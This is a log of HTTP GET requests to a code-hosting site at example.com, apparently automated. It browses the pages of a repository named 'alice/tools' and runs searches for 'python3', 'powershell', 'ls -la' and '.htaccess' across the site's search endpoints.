{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
